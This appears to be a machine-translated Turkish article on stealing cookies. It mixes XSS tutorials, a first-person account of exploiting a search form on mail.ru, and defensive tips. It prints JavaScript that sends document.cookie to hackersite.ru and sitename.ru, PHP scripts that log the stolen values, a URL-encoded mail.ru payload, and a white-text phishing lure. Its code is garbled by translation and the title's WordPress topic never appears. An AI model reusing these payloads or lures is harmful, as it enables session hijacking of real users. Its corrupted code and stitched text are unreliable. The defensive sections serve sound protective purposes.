Çerez çalmak. Çerezleri çalma yöntemleri. WordPress sürümünü belirleme

  • 21.04.2021

Çerez nedir?

Http sunucusunun kullanıcının bilgisayarına bazı metin bilgilerini kaydetmesine ve ardından ona erişmesine izin veren bir mekanizma vardır. Bu bilgiye çerez denir. Aslında, her çerez bir çifttir: parametrenin adı ve değeri. Ayrıca, her çereze ait olduğu etki alanı atanır. Güvenlik nedenleriyle, tüm tarayıcılarda, http sunucusunun yalnızca kendi etki alanı için tanımlama bilgilerine erişmesine izin verilir. Ek olarak, çerezlerin bir son kullanma tarihi olabilir ve tüm tarayıcı pencerelerini kapatsanız bile bu tarihe kadar bilgisayarda saklanırlar.


Çerezler neden önemlidir?

Tüm çok kullanıcılı sistemlerde, bir kullanıcıyı tanımlamak için çerezler kullanılır. Bunun yerine, kullanıcının hizmete mevcut bağlantısı, kullanıcı oturumu. Birisi çerezlerinizi tanırsa, sizin adınıza oturum açabilir. Çünkü şu anda çok az İnternet kaynağı bir kullanıcı oturumu sırasında IP adresinin değişimini kontrol ediyor.


Bir çerezi nasıl değiştirebilir veya değiştirebilirim?

Tarayıcı geliştiricileri, yerleşik tanımlama bilgisi düzenleme araçları sağlamaz. Ama normal bir not defteri ile idare edebilirsiniz.


Adım 1: metin içeren bir metin dosyası oluşturun

Windows Kayıt Defteri Düzenleyicisi Sürüm 5.00



@ = "C: \\ IE_ext.htm"

IE_ext.reg adı altında kaydediyoruz.

Adım 2: Oluşturulan dosyayı kullanarak Windows kayıt defterine değişiklikler ekleyin.

Adım 3: metin içeren bir metin dosyası oluşturun

< script dil = "javascript">
external.menuArguments.clipboardData.setData ("Metin", external.menuArguments.document.cookie);

external.menuArguments.document.cookie = "testadı = test değeri; yol = /; etki alanı = testdomain.ru";
uyarı (external.menuArguments.document.cookie);


C: \ IE_ext.htm adı altında kaydedin

Adım 4: Bizi ilgilendiren web sitesine gidiyoruz.

Adım 5: Sayfada boş bir alana sağ tıklayın ve menü öğesini seçin "Çerezlerle Çalışmak"... Panoya erişime izin veriyoruz. Bu site için çerezleriniz panoda görünecektir. Not defterini yapıştırıp görebilirsiniz.


Adım 6: Bazı tanımlama bilgilerini değiştirmek için, C: \ IE_ext.htm dosyasını düzenleyin, değiştirin deneme adıçerez adına, test değeri- değeri hakkında, testdomain.ru- site etki alanına. Gerekirse, daha fazla benzer satır ekleyin. Kontrol kolaylığı için, komut dosyasındaki değişiklikten önce ve sonra mevcut çerezlerin çıktısını ekledim: uyarı (external.menuArguments.document.cookie);

Adım 7: Adım 5'i tekrar gerçekleştirin ve ardından sayfayı yenileyin.

Alt satır: Bu web sitesine güncellenmiş çerezlerle gideceğiz.

JavaScript kullanarak bir çerez nasıl çalınır?

Saldırgan, kurbanın bilgisayarında rastgele JavaScript çalıştırmanın bir yolunu bulmayı başardıysa, mevcut çerezleri çok kolay bir şekilde okuyabilir. Örnek:


var str = belge.cookie;

Ama bunları kendi sitesine aktarabilecek mi, çünkü daha önce de belirttiğim gibi bir JavaScript betiği farklı bir etki alanında bulunan bir siteye ek onay olmadan erişemeyecek mi? Bir JavaScript betiğinin herhangi bir http sunucusunda bulunan herhangi bir resmi yükleyebileceği ortaya çıktı. Aynı zamanda, indirme isteğindeki herhangi bir metin bilgisini bu resme gönderin. Örnek: http://hackersite.ru/xss.jpg?text_info Bu nedenle, bu kodu çalıştırırsanız:

var img = yeni görüntü ();

resim.src = "http://hackersite.ru/xss.jpg?"+ encodeURI (belge.cookie);


daha sonra çerez "resmi" indirme ve saldırgana "git" isteğinde görünecektir.

Bir "resim" yüklemek için bu tür istekler nasıl ele alınır?

Bir saldırganın yalnızca php destekli bir barındırma bulması ve oraya şu şekilde kod yerleştirmesi gerekir:

$ kullanıcı kimliği = urldecode ($ _ SUNUCU ["QUERY_STRING"]);
$ fp = fopen ("log.txt", "a");
fputs ($ fp, "$ kullanıcı kimliği \ n");
fclose ($ fps);
?>

Ardından, bu komut dosyasına yapılan tüm isteklerin parametreleri dosyaya kaydedilecektir. log.txt... Değiştirmek için yalnızca daha önce açıklanan JavaScript komut dosyasında kalır. http://hackersite.ru/xss.jpg verilen php betiğinin yoluna.


Sonuç

XSS güvenlik açıklarından yararlanmanın yalnızca en basit yolunu gösterdim. Ancak, çok kullanıcılı bir İnternet sitesinde bu türden en az bir güvenlik açığının bulunmasının, bir saldırganın kaynaklarını sizin adınıza kullanmasına izin verebileceğini kanıtlıyor.

Resim, çerezin wordpress_logged_in_= admin satırını içerdiğini gösterir. Bu değer tanımlama bilgisinde şifrelenmemiştir ve Aşil yardımcı programı kullanılarak kolayca ele geçirilebilir, ancak bir kural olarak, çoğu durumda Aşil'de yalnızca belirli bir girişin karması görülebilir. Sunucuya bir istek göndermeden önce, bu dizeyi benzer bir dizeyle değiştirmeyi deneyebilirsiniz (bu durumda hiçbir anlam ifade etmese de) - deneme sayısı sınırlı değildir. Daha sonra Gönder butonunu kullanarak bu isteği sunucuya göndererek, sunucudan yöneticiye yönelik bir yanıt alabilirsiniz.

Önceki örnekte, kullanıcı kimliğini doğrudan geçersiz kılabilirsiniz. Ek olarak, değerinin değiştirilmesi bilgisayar korsanına ek fırsatlar sağlayan parametrenin adı aşağıdaki olabilir: kullanıcı (örneğin, KULLANICI = JDOE), kimlik dizesine sahip herhangi bir ifade (örneğin, KULLANICI = JDOE veya SESSIONID = BLAHBLAH), yönetici (örneğin, YÖNETİCİ = DOĞRU), oturum (örneğin, OTURUM = AKTİF), sepet (örneğin, SEPET = FULL) ve DOĞRU, YANLIŞ, AKTİF, AKTİF DEĞİL gibi ifadeler. Genellikle, çerezlerin formatı, kullanıldıkları uygulamaya çok bağlıdır. Ancak, tanımlama bilgilerini kullanarak uygulama kusurlarını bulmaya yönelik bu ipuçları, hemen hemen tüm biçimler için çalışır.

Çerezler için İstemci Tarafı Önlemleri

Genel olarak kullanıcı, hassas verileri doğrulamak ve depolamak için tanımlama bilgileri kullanan Web sitelerine karşı dikkatli olmalıdır. Ayrıca, kimlik doğrulama için tanımlama bilgileri kullanan bir Web sitesinin, kullanıcı adını ve parolayı şifrelemek için en azından SSL'yi desteklemesi gerektiği unutulmamalıdır, çünkü bu protokolün yokluğunda veriler şifrelenmeden iletilir ve bu da en basit yazılım kullanılarak ele geçirilmesine izin verir. . ağ üzerinden gönderilen verileri görüntülemek için.

Kookaburra Software, çerezlerin kullanımını kolaylaştırmak için bir araç geliştirmiştir. Aracın adı CookiePal ( http://www.kburra.com/cpal.html (bkz. www.kburra.com)). Bu program, bir Web sitesi bir makineye tanımlama bilgisi yüklemeye çalıştığında kullanıcıyı uyarmak için tasarlanmıştır ve kullanıcı bu eyleme izin verebilir veya bunu reddedebilir. Çerezleri engellemek için benzer işlevler şu anda tüm tarayıcılarda mevcuttur.

Web tarayıcı güncellemelerinin düzenli olarak yüklenmesinin bir başka nedeni de bu programlarda sürekli olarak ortaya çıkan güvenlik açıklarıdır. Örneğin, Bennet Haselton ve Jamie McCarthy, bir bağlantıya tıkladıktan sonra bir istemci makineden tanımlama bilgilerini alan bir komut dosyası oluşturdu. Sonuç olarak, kullanıcının makinesinde bulunan çerezlerin tüm içeriği kullanılabilir hale gelir.

Bu tür bir bilgisayar korsanlığı, tutamaç kullanılarak da yapılabilir.

Bu tür şeylerin kişisel verilerimizi tehdit etmemesi için bunu kendim yapıyorum ve herkese HTML kodu ile çalışan yazılımları (e-posta istemcileri, medya oynatıcılar, tarayıcılar vb.) her zaman güncellemelerini tavsiye ediyorum.

Birçok kişi tanımlama bilgilerinin alınmasını engellemeyi tercih eder, ancak çoğu Web sitesi tanımlama bilgilerinin görüntülenmesini gerektirir. Sonuç - yakın gelecekte çerezlerden vazgeçmeyi mümkün kılan yenilikçi bir teknoloji varsa, programcılar ve yöneticiler rahat bir nefes alacak ve çerez bir bilgisayar korsanı için lezzetli bir lokma olarak kalırken! Bu doğrudur, çünkü henüz daha iyi bir alternatif yoktur.

Sunucu tarafı karşı önlemler

Sunucu güvenliğine yönelik tavsiyelerde uzmanlar basit bir tavsiye veriyor: çerez mekanizmasını gereksiz yere kullanmayın! Özellikle iletişim oturumunun bitiminden sonra kullanıcının sisteminde kalan çerezleri kullanırken dikkatli olmak gerekir.

Çerezlerin, kullanıcıların kimliğini doğrulamak için Web sunucularının güvenliğini sağlamak için kullanılabileceğini anlamak elbette önemlidir. Bununla birlikte, geliştirilmekte olan uygulamanın çerez kullanması gerekiyorsa, bu mekanizma, her oturum için kısa geçerlilik süresine sahip farklı anahtarlar kullanılacak şekilde yapılandırılmalı ve ayrıca bu dosyalara erişilebilecek bilgileri girmemeye çalışılmalıdır. bilgisayar korsanları tarafından bilgisayar korsanlığı için kullanılır (örneğin, ADMIN = TRUE).

Ayrıca çerezlerinizi daha güvenli hale getirmek için hassas bilgilerin çıkarılmasını önlemek için şifreleme kullanabilirsiniz. Elbette şifreleme, çerez teknolojisi ile çalışırken tüm güvenlik sorunlarını çözmez, ancak bu yöntem yukarıda açıklanan en basit hack'leri önleyecektir.

Bilgi güvenliği konularına adanmış ücretsiz bir etkinliğe katılmanın önerildiği yer. Etkinlik benim şehrimde yapıldığı için kesinlikle oraya gitmem gerektiğine karar verdim. İlk ders XSS sitelerindeki güvenlik açıkları hakkındaydı. Dersten sonra edindiğim bilgileri gerçek koşullarda pekiştirmenin gerekli olduğuna karar verdim. Kendim için şehrimle ilgili birkaç site seçtim ve senaryomu her biçimde yapıştırmaya çalıştım. Çoğu durumda, komut dosyası filtrelenmiştir. Ama öyle oldu ki "uyarı" işe yaradı ve mesajım belirdi. Bulunan güvenlik açığını yöneticilere bildirdim ve her şeyi çabucak düzelttiler.

Bu günlerden birinde mail.ru'da yeni postaları kontrol ederken posta kutusundaki harfleri aramak için bir formla karşılaştım. Ara sıra bu aramayı eski e-posta yığınımda bir şeyler bulmak için kullandım. Pekala, son birkaç gündür "uyarı"mı bulabildiğim her yere yerleştirdiğim için elim refleks olarak bu arama biçimine uzandı. Komut dosyası kodumu yazdım ve Enter'a bastım. Ekranda acı verecek kadar tanıdık bir mesaj gördüğümde ne kadar şaşırdığımı hayal edin...


Açık Bilgi Güvenliği Günleri dersinde konuşmacı, programcıların bu tür güvenlik açıkları konusunda oldukça şüpheci olduklarını söyledi ve “uyarı mı? Peki ne olmuş? Bu tehlikeli değil". Diğer sitelerde mesajımla yalnızca bu pencereden memnun olsaydım, bu durumda daha ileri gitmeye ve böyle bir "uyarı" nın nereden gelebileceğini göstermeye karar verdim.

Yani betik çalışıyor, bu da bir güvenlik açığı olduğu anlamına geliyor. Bu nedenle, başka bir komut dosyası çalıştırmayı deneyebilirsiniz. Örneğin, başka bir kullanıcının çerezlerini bize aktaran bir komut dosyası. Komut dosyasının çalışması için, kullanıcıyı komut dosyamızı çalıştırmaya zorlamanız gerekir. Bu, ona uygun bağlantıya sahip bir mektup göndererek, posta kutusunda hangi aramanın yapılacağına ve ihtiyacımız olan kodun çalıştırılacağına tıkladıktan sonra yapılabilir.

Güvenlik açığının mekaniğini anlamak biraz zaman aldı ve çok fazla deney yaptı. Bazen senaryo çalıştı, bazen filtrelendi. Biraz çabadan sonra, komut dosyasının yalnızca harflerdeki aramanın olumlu bir sonuç vermesi durumunda %100 çalıştığı deneysel olarak bulundu. Yani bir kullanıcı bizim scriptimiz ile bir arama yaptığında, mail kutusunda belirtilen parametrelere göre en az bir harf bulunması gerekmektedir. Bunu düzenlemek zor değil.

if (isset ($ _ GET ["çerez"]))
{
$ text = "Yeni çerez kabul ediliyor". $ _SERVER ["REMOTE_ADDR"]. "At". tarih ("l jS \ of F Y h: i: s A");
$ metin. = "\ n" .str_repeat ("=", 22). "\ n". $ _GET ["çerez"]. "\ N" .str_repeat ("=", 22). "\ N";
$ dosya = fopen ("sniff.txt", "a");
fwrite ($ dosya, $ metin);
fclose ($ dosyası);
}
?>

Ayrıca, bir "uyarı" yerine, sniffer'ımıza çerez gönderecek bir komut dosyasına ihtiyacımız var. Bu scripti ayrı bir dosyaya yazıp aramamıza yükleyeceğiz. Gerekli kodla bir test.js dosyası oluşturdum ve onu barındırmaya yükledim. Komut dosyası kodu şu şekildedir:

İmg = yeni Resim ();
img.src = "http://sitename.ru/sniff.php?cookie=" + document.cookie;
fonksiyon F () (
konum = "http://www.solife.ru";
}
setTimeout (F, 5000);

Burada açıklığa kavuşturmak istediğim şey. Kendimizi saldırganın yerine koyalım. Kullanıcının bağlantıya tıklaması gereklidir. Onu nasıl yaptırabilirim? Dağlarca altın sözü verebilir ve onları almak için sitemize olan bağlantımızı takip etmeniz gerekir. Ama işe yarayacağını sanmıyorum. İnsanlar artık buna meyilli değil (ben kendim bu tür mektupları okumadan bile sürekli siliyorum). Bu nedenle, doğada hala var olduğu için insan merhameti üzerinde oynayacağız. Yok edilen hayvanların kurtarılması için sitede oy vermenizi rica ediyoruz. Önce çerezleri alacağız ve ardından kullanıcıyı oylama sitesine yönlendireceğiz. Yönlendirme için zaman aşımı 5 saniye olarak ayarlandı, aksi takdirde çerezlerin sniffer'a iletilecek zamanı yoktu ve kullanıcı hemen hayvanlarla ilgili siteye aktarıldı. "Uyarı" yerine aşağıdaki komut dosyasını kullandım:

Senaryolar bittiğinde, bir mektup yazmaya başladım. Aşağıdaki içerik gibi bir şey ile geldi:


Oldukça alaycı bir şekilde ortaya çıktı, ancak koşulları en gerçekçi olana yaklaştırmaya çalıştım. Mektubun sonuna, arama yaptığımızda mektubumuzun bulunması için bir komut satırı içeren bir satır eklenir. Çizgi gereksiz sorulara neden olmasın diye beyaza boyadım. Ayrıca "http" kelimesine bir boşluk koydum, böylece dize tanınmayacak ve bir bağlantıya dönüştürülmeyecekti. Aksi takdirde, komut satırı beyaz yazı tipiyle yazılmasına rağmen, muhatapta bağlantı mavi renkle vurgulanır, ancak buna ihtiyacımız yok. Akıllı arama, boşluklardan bağımsız olarak bu dizeyi bulmaya ve tanımaya devam eder.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Komut dosyası için, hiçbir şeyin filtrelenmemesi için URL kodlaması uyguladım. Aramanın "Gelen Kutusu" klasöründe gerçekleşmesi için arama için "q_folder = 0" parametresini de ekledim.

Mektup hazır, gönderiyoruz. Alıcı olarak aynı hizmette ikinci posta kutumu kullandım. Bakalım başka bir kutuya ne gelecek.

Komut dosyası metnimiz, arka plana karıştığı için görünmez. Bağlantıya tıklayın ve ne olduğunu görün. Kullanıcı, belirlediğimiz parametreye göre harfler için arama sonuçlarına taşınır. Gönderdiğimiz mektubumuz arama sonuçlarında görünüyor. Şu anda, betiğimiz zaten çalıştı ve kullanıcının çerezlerini sniffer'a gönderdi. 5 saniye sonra (süre scriptin ayarlarına göre değişir) anketler ile kullanıcı siteye yönlendirilir.

sniff.txt dosyamı kontrol ediyorum:

Amacım başkalarının kutularını çalmak veya onlara erişmek olmadığı için hikaye burada bitiyor. Ancak teorik olarak, çerezlerinizi başka birininkiyle değiştirebilir ve başka birinin posta kutusuna erişebilirsiniz. Genel olarak, bir saldırgan bir hedefle yanarsa, alınan bilgilerin kullanımını bulacaktır.

Sergey Belov'a teşekkür etmek istiyorum (

Kurabiye - web sitesi tarafından kullanıcının bilgisayarında saklanan bir metin dosyası biçimindeki bilgiler. Kimlik doğrulama verilerini (oturum açma / şifre, kimlik, telefon numarası, posta kutusu adresi), kullanıcı ayarlarını, erişim durumunu içerir. Tarayıcı profilinde saklanır.

çerezleri kesmek Bir web kaynağı ziyaretçisinin oturumunun çalınması (veya "kaçırılması"). Kapalı bilgiler yalnızca gönderen ve alıcı için değil, aynı zamanda üçüncü bir taraf için de kullanılabilir hale gelir - araya giren kişi.

Çerezleri kırmak için araçlar ve teknikler

Beceri, el becerisi ve bilgiye ek olarak, bilgisayar hırsızları, gerçek hayattaki meslektaşları gibi, elbette kendi araçlarına sahiptir - bir tür ana anahtar ve sonda cephaneliği. İnternetteki genel halktan çerezleri çıkarmak için kullandıkları en popüler hacker hilelerinden bazılarına bir göz atalım.

koklayıcılar

Ağ trafiğini izlemek ve analiz etmek için özel programlar. İsimleri İngilizce "sniff" fiilinden gelir. düğümler arasında iletilen paketleri kelimenin tam anlamıyla "koklayarak".

Ancak saldırganlar, oturum verilerini, mesajları ve diğer gizli bilgileri ele geçirmek için bir dinleyici kullanır. Saldırılarının nesneleri çoğunlukla, çerezlerin açık bir HTTP oturumunda gönderildiği, yani pratik olarak şifrelenmedikleri güvenli olmayan ağlardır. (Genel Wi-Fi bu konuda en savunmasız olanıdır.)

Kullanıcının sitesi ile web sunucusu arasındaki İnternet kanalına bir sniffer enjekte etmek için aşağıdaki yöntemler kullanılır:

  • Ağ arayüzlerini (hub'lar, anahtarlar) "dinleme";
  • trafiğin dallanması ve kopyalanması;
  • ağ kanalındaki boşluğa bağlantı;
  • kurbanın trafiğini bir dinleyiciye yönlendiren özel saldırılar aracılığıyla analiz (MAC sahtekarlığı, IP sahtekarlığı).

XSS, Siteler Arası Komut Dosyası Yazma anlamına gelir. Kullanıcı verilerini çalmak için web sitelerine saldırmak için kullanılır.

XSS nasıl çalışır:

  • bir saldırganın bir web sitesine, foruma veya mesaja kötü amaçlı kod (özel bir kılık değiştirmiş komut dosyası) enjekte etmesi (örneğin, bir sosyal ağda sohbet ederken);
  • kurban virüslü sayfayı ziyaret eder ve bilgisayarında yüklü kodu etkinleştirir (tıklar, bir bağlantıyı takip eder, vb.);
  • sırayla, tetiklenen kötü amaçlı kod, kullanıcının gizli verilerini tarayıcıdan (özellikle çerezler) "çıkarır" ve saldırganın web sunucusuna gönderir.

Bilgisayar korsanları, XSS yazılım motorunu "yerleştirmek" için web sunucularındaki, çevrimiçi hizmetlerdeki ve tarayıcılardaki her türlü güvenlik açığından yararlanır.

Tüm XSS güvenlik açıkları iki türe ayrılır:

  • Pasif. Saldırı, bir web sayfasında belirli bir komut dosyası istenerek elde edilir. Kötü amaçlı kod, bir web sayfasında çeşitli biçimlerde girilebilir (örneğin, bir site arama çubuğuna). Pasif XSS'ye en duyarlı olanlar, veri geldiğinde HTML etiketlerinin filtrelenmesine sahip olmayan kaynaklardır;
  • Aktif. Doğrudan sunucuda bulunur. Ve kurbanın tarayıcısında tetiklenirler. Her türlü blog, sohbet ve haber akışında dolandırıcılar tarafından aktif olarak kullanılırlar.

Bilgisayar korsanları, kurbanın hiçbir şeyden şüphelenmemesi için XSS komut dosyalarını dikkatlice kamufle eder. Dosya uzantısını değiştirirler, kodu resim olarak verirler, bağlantıyı takip etmeye motive ederler, ilginç içerikle çekerler. Sonuç olarak: kendi merakına hakim olmayan bir PC kullanıcısı, kendi eliyle (farenin tıklamasıyla) oturum çerezleri (bir kullanıcı adı ve şifre ile!) XSS komut dosyasının yazarına - bir bilgisayar kötü adamı.

Çerez ikamesi

Tüm çerezler kaydedilir ve web sunucusuna ("geldikleri") hiçbir değişiklik yapılmadan - orijinal formlarında - aynı değerler, dizeler ve diğer verilerle gönderilir. Parametrelerinin kasıtlı olarak değiştirilmesine kimlik sahtekarlığı çerezleri denir. Başka bir deyişle, bir çerez değiştirildiğinde, saldırgan hüsnükuruntu yapar. Örneğin, bir çevrimiçi mağazada ödeme yaparken, çerezdeki ödeme tutarı aşağı doğru değişir - böylece satın almalarda "tasarruf" olur.

Başka birinin hesabından bir sosyal ağdaki bir oturum için çalınan çerezler, başka bir oturuma ve başka bir PC'ye "eklenir". Çalınan çerezlerin sahibi, kurbanın hesabında (yazışma, içerik, sayfa ayarları) kendisi sayfasında olduğu sürece tam erişim elde eder.

Çerezler aşağıdakiler kullanılarak "düzenlenir":

  • Opera tarayıcısında "Çerezleri yönet ..." işlevleri;
  • FireFox için Çerez Yöneticisi ve Gelişmiş Çerez Yöneticisi eklentileri;
  • IECookiesView yardımcı programları (yalnızca Internet Explorer);
  • AkelPad, NotePad veya Windows Notepad gibi bir metin düzenleyici.

Verilere fiziksel erişim

Çok basit bir uygulama şeması, birkaç adımdan oluşur. Ancak, yalnızca kurbanın açık oturumlu bilgisayarı, örneğin Vkontakte, gözetimsiz (ve yeterince uzun!) bırakılırsa etkilidir:

  1. Tarayıcının adres çubuğuna kaydedilen tüm çerezleri gösteren bir javascript işlevi girilir.
  2. "ENTER" tuşuna bastıktan sonra hepsi sayfada görünür.
  3. Çerezler kopyalanır, bir dosyaya kaydedilir ve ardından bir USB flash sürücüye aktarılır.
  4. Başka bir bilgisayarda, çerezler yeni bir oturumda değiştirilir.
  5. Kurbanın hesabına erişim açılır.

Kural olarak, bilgisayar korsanları yukarıdaki araçları (+ diğerleri) hem kombinasyon halinde (birçok web kaynağındaki koruma seviyesi oldukça yüksek olduğundan) hem de ayrı olarak (kullanıcılar aşırı saf olduğunda) kullanır.

XSS + koklayıcı

  1. Çevrimiçi dinleyicinin (kendi üretimine veya belirli bir hizmete ait) adresini belirten bir XSS betiği oluşturulur.
  2. Kötü amaçlı kod, .img uzantısıyla (görüntü formatı) kaydedilir.
  3. Daha sonra bu dosya web sitesi sayfasına, sohbete veya saldırının gerçekleştirileceği özel bir mesaja yüklenir.
  4. Kullanıcının dikkati yaratılan "tuzak"a çekilir (burada sosyal mühendislik devreye girer).
  5. Tuzak tetiklenirse, sniffer kurbanın tarayıcısından gelen çerezleri yakalar.
  6. Kraker, sniffer günlüklerini açar ve çalınan çerezleri alır.
  7. Ardından, yukarıdaki araçları kullanarak hesap sahibinin haklarını elde etmek için bir ikame gerçekleştirir.

Çerezleri bilgisayar korsanlığından koruma

  1. Şifreli bir bağlantı kullanın (uygun protokolleri ve güvenlik yöntemlerini kullanarak).
  2. "Yeni özgür yazılım" ile tanışmak için şüpheli bağlantılara, resimlere, cazip tekliflere yanıt vermeyin. Özellikle yabancılardan.
  3. Yalnızca güvenilir web kaynaklarını kullanın.
  4. "Çıkış" düğmesine basarak yetkili bir oturumu sonlandırın (sadece sekmeyi kapatmayın!). Özellikle hesap kişisel bir bilgisayardan değil, örneğin bir İnternet kafedeki bir bilgisayardan giriş yaptıysa.
  5. Tarayıcının "Şifreyi Kaydet" işlevini kullanmayın. Saklanan kimlik bilgileri hırsızlık riskini önemli ölçüde artırır. Tembel olmayın, her oturumun başında şifrenizi girmek ve giriş yapmak için birkaç dakikanızı ayırmayın.
  6. Web'de gezindikten sonra - sosyal ağları, forumları, sohbetleri, siteleri ziyaret ederek - kayıtlı çerezleri silin ve tarayıcı önbelleğini temizleyin.
  7. Tarayıcıları ve antivirüs yazılımını düzenli olarak güncelleyin.
  8. XSS saldırılarına karşı koruma sağlayan tarayıcı uzantılarını kullanın (örneğin, FF için NoScript ve Google Chrome).
  9. Hesaplarda periyodik olarak.

Ve en önemlisi - dinlenirken veya internette gezinirken uyanıklığınızı ve dikkatinizi kaybetmeyin!

  1. Kullanıcıdan bir kullanıcı adı ve şifre istenir.
  2. Yetkilendirme başarılı olursa, "başarılı yetkilendirme" değeriyle yeni bir oturum oluşturulur.
  3. Kullanıcıya, önceden tahmin edilemeyen ve bu nedenle seçilemeyen benzersiz bir tanımlayıcı (SID) atanır :).
  4. SID, tarayıcı tanımlama bilgilerine kaydedilir veya tarayıcı adres çubuğu aracılığıyla iletilir (çerezler devre dışı bırakılmışsa).

Başarılı bir yetkilendirmenin bir sonucu olarak, komut dosyası, örneğin site yönetim paneline girmek için komut dosyasının belirli bir kaynağa erişim sağladığı, $ _SESSION süper küresel dizisindeki değişkenlerin değerlerine erişilebilir hale gelir.

Sorun şu ki, bir saldırgan bir şekilde başka bir kullanıcının SID'sini bulursa, bunu çerezlerinde veya tarayıcının adres çubuğunda değiştirebilir ve siteye bu kullanıcının haklarıyla girebilir.

Yorum Yap

Birkaç yıl önce, uzak banka hesabı yönetim sistemlerinde, yalnızca son kullanılan değere bir eklenerek benzersiz bir sayının (SID) oluşturulduğu birkaç skandal vardı. Hızlı yetkilendirme, örneğin 40346 ve 40348 gibi iki SID değerinin yayınlanmasına yol açtı. 40347 numarasının değiştirilmesi, başka birinin hesabına erişime izin verdi :).

SID şu anda bir sayaca bağlı olmayan benzersiz bir sayı ve harf dizisini temsil etmektedir. Ancak bir saldırgan başka birinin SID'sini nasıl bilebilir?

En yaygın iki seçenek vardır:

1. Örneğin, oturumun sahibi, yanlışlıkla bu tür bir bağlantıyı forumda veya ziyaretçi defterinde bir yere bırakarak bunu kendisi gösterdi.

http://forum.dklab.ru/?sid=

Bu adrese gitmek, saldırgana, tanımlayıcılı bir oturumun tahsis edildiği bir kullanıcının haklarını otomatik olarak verir.
Tabii bir süre sonra herhangi bir aktivite olmazsa kullanıcının oturumu bozulur. Ve bu yüzden saldırgan acele etmeli :). Öte yandan, örümceklerin (örümceklerin) toplam yaygınlığı, bu tür bağlantılar için hedefli bir otomatik arama düzenlemeyi mümkün kılar.

2. Oturum tarayıcı satırında açıkça belirtilmese de Çerezlerde saklansa bile. Saldırgan hala tanımlayıcıyı ele geçirme yeteneğine sahiptir. En basit ziyaretçi defterinin küçük bir senaryosunu ele alalım.



Metin:


addmsg.php işleyicisinin içeriği aşağıda gösterilmiştir.

if (! boş ($ _ POST ["metin"]))
{
$ satır = str_replace ("/?
/ s "," ", $ _POST [" metin "]);
// veritabanına veya dosyaya yaz
}
Başka
{
çıkış (
"Hata" );
}
?>

Lütfen komut dosyasının, karakterleri dönüştüren htmlspecialchars () işlevine yapılan çağrıyı açıkça atladığını unutmayın.< в < и >c> sonuç olarak, bir saldırgan metne herhangi bir HTML etiketi ve JavaScript komut dosyası ekleyebilir.

Ve ne elde ederiz? Saldırganın sayfayı yeni bir pencerede yüklemesine ve çerezlerden değerleri iletmesine izin veren küçük bir gözden kaçırma (görünüşe göre bir tür htmlspecialchars () mesajını tarayıcıya göstermeden önce kaçırmışlar).
Bu tür güvenlik açıklarıyla mücadele etmek için, "izin verilmeyen her şey yasaktır" ilkesiyle hareket eden "sürdürülebilir" yöntemlerle uğraşmak en iyisidir. SID'yi gizlememeli ve metni çok aşamalı kontrollere tabi tutmamalısınız - bu durumda hata oluşturma olasılığı yalnızca artar. Bu durumda daha güvenilir olan, SID'yi oturumun sahibi olan kullanıcının IP adresine bağlama yöntemidir. Bu yöntem, örneğin phpBB gibi birçok tanınmış forumda yaygın olarak kullanılmaktadır.
Yetkilendirme komut dosyası

Eğer ( giriş ve şifre doğru)
{
$ _SESSION ["yetkili"] = doğru;
$ _SESSION ["ip"] = $ _SERVER ["REMOTE_ADDR"];
}
?>

Ardından, belirli bir kaynağa erişim sağlayan komut dosyası aşağıdaki kodu içerebilir.

if (! boş ($ _ SESSION ["yetkili"]) &&
$ _SESSION ["ip"] == $ _SERVER ["REMOTE_ADDR"])
{
// Kaynağa erişim açık.
}
else ölür ("Erişim reddedildi.");
?>

Onlar. artık yalnızca IP adresi, yetkilendirme sırasında sunucuya iletilen IP adresiyle eşleşen kullanıcı bu oturumla çalışabilir. Bir saldırgan oturumu ele geçirirse, IP adresi farklıdır :) - bu nedenle erişimi reddedilecektir.

Bu yöntem evrensel değildir ve zayıf noktaları da vardır.

  1. Kullanıcı ve saldırgan ortak bir proxy sunucusu aracılığıyla İnternet'e erişirse, ortak bir IP adresine sahip olacaklardır (bu, üniversitelerin, fabrikaların ve diğer büyük kurumların ağları için tipiktir), yani. herkes en azından yukarıdaki yöntemlerle bir komşunun SID'sini çalabilir.